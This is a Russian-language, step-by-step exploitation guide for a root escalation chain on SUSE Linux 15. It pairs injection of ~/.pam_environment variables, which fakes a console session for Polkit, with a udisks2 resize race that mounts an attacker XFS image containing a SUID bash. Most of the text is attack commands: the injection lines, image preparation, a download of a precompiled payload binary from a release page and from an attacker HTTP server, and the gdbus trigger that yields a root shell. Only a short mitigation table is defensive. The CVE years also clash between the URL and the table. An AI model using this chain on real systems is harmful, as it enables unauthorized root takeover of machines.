
Эксплойт-цепочка для локального повышения привилегий на SUSE Linux, объединяющая инъекцию переменных окружения PAM и состояние гонки в udisks2 для получения root-оболочки.
Целевая ОС: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Требуемый доступ: Непривилегированный локальный пользователь с доступом по SSH
Результат: Полный root-шелл
В этом документе описывается ручная эксплуатация двух связанных уязвимостей локального повышения привилегий, обнаруженных исследовательским подразделением Qualys Threat Research Unit:
~/.pam_environment, позволяющая удалённому SSH-пользователю получить статус Polkit allow_active, обычно зарезервированный для физически присутствующих пользователей консоли.libblockdev (используемый udisks2) не применяет флаг nosuid при временном монтировании файловой системы во время операции D-Bus Filesystem.Resize, что позволяет выполнить SUID-бинарник с управляемого пользователем loop-устройства.В совокупности эти уязвимости позволяют любому непривилегированному SSH-пользователю повысить привилегии до root без какого-либо взаимодействия с другими пользователями.
Машина атакующего (Kali Linux):
xfsprogs (sudo apt install xfsprogs -y)gccpython3 -m http.server)Целевая машина:
udisks2 и polkit (по умолчанию присутствуют в этих системах)gdbus (часть glib2, устанавливается по умолчанию)После получения SSH-доступа как непривилегированный пользователь убедитесь, что цель уязвима.
Проверьте ОС:
cat /etc/os-release | grep -E "NAME|VERSION"
Система должна быть openSUSE Leap 15.x или SUSE Linux Enterprise 15.x.
Проверьте, что pam_env читает пользовательские файлы:
grep "pam_env" /etc/pam.d/common-auth
Ищите user_readenv=1 или просто наличие pam_env.so. В стандартных установках SUSE эта функция включена.
Проверьте, что udisks2 и polkit запущены:
systemctl is-active udisks2
systemctl is-active polkit
Проверьте политику Polkit для настройки loop-устройств:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
Значение allow_active должно быть yes.
allow_active через инъекцию PAMЭта уязвимость использует тот факт, что pam_env.so читает ~/.pam_environment во время входа по SSH и внедряет эти переменные в окружение сеанса до того, как pam_systemd.so оценит контекст сеанса. Устанавливая XDG_SEAT и XDG_VTNR, атакующий обманывает systemd-logind, заставляя его рассматривать удалённый SSH-сеанс как сеанс физической консоли, предоставляя привилегии Polkit allow_active.
Внедрите переменные:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
Выйдите и переподключитесь по SSH, чтобы запустить обработку PAM:
exit
ssh user@<target_ip>
Проверьте, что allow_active теперь предоставлен:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
Вывод должен показывать:
Active=yes
Seat=seat0
VTNr=1
Установите идентификатор сеанса и адрес D-Bus, если они не заполнены автоматически:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
XFS-образ должен быть отформатирован с функциями, совместимыми с ядром SUSE 15. Современные версии xfsprogs по умолчанию включают такие функции, как exchange, parent, bigtime, inobtcount и nrext64, которые не поддерживаются старыми ядрами SUSE и вызовут сбои монтирования. Следующие флаги создают совместимый XFS-образ V5:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
Смонтируйте образ и внедрите SUID-бинарник bash:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
Вывод должен показывать -rwsr-xr-x 1 root root.
Поскольку окно уязвимого монтирования во время Filesystem.Resize составляет лишь несколько миллисекунд, для его надёжного перехвата требуется скомпилированный C-бинарник. Чистый Bash-цикл слишком медленный.
Загрузите предварительно скомпилированный пейлоад со страницы релизов:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] Вы также можете скомпилировать бинарник самостоятельно. Исходный код доступен в payload.c.
Раздайте оба файла по HTTP:
cd /tmp && python3 -m http.server 8888
# Передача XFS-образа
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# Передача бинарника-перехватчика
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
Этот шаг требует двух одновременных SSH-сеансов к цели.
Настройте loop-устройство (в любом сеансе):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
Запомните назначенное loop-устройство, например /dev/loop1.
Сеанс 1: Запустите перехватчик и оставьте его работать:
/tmp/payload
[!NOTE] Если перехватчик немедленно завершает работу без получения root-шелла, попробуйте запустить его до настройки loop-устройства и повторите последовательность.
Сеанс 2: Немедленно запустите изменение размера:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
Вызов Resize вернёт ошибку, но перед сбоем libblockdev смонтирует файловую систему во временный путь /tmp/blockdev.XXXXXX/ без флага nosuid. Перехватчик в сеансе 1 обнаруживает это монтирование, выполняет SUID-бинарник bash из него, копирует root-шелл в /tmp/rootbash и запускает его.
[!NOTE] Если у вас возникают проблемы с
Not authorized to perform operation, попробуйте использовать тот терминал, в котором вы успешно выполнили командуudiskctl loop-setup..., а другой шелл используйте для запуска скрипта/tmp/payload.
После завершения работы перехватчика root-шелл либо запускается автоматически, либо его можно получить через:
/tmp/rootbash -p
whoami
# root
| Компонент | Исправление |
|---|---|
| CVE-2025-6018 | Отключите user_readenv в PAM: установите user_readenv=0 в /etc/pam.d/common-auth |
| CVE-2025-6019 | Обновите libblockdev и udisks2 до исправленных версий от вендора дистрибутива |
| Усиление Polkit | Измените allow_active на auth_admin для org.freedesktop.udisks2.loop-setup в файле политики UDisks2 |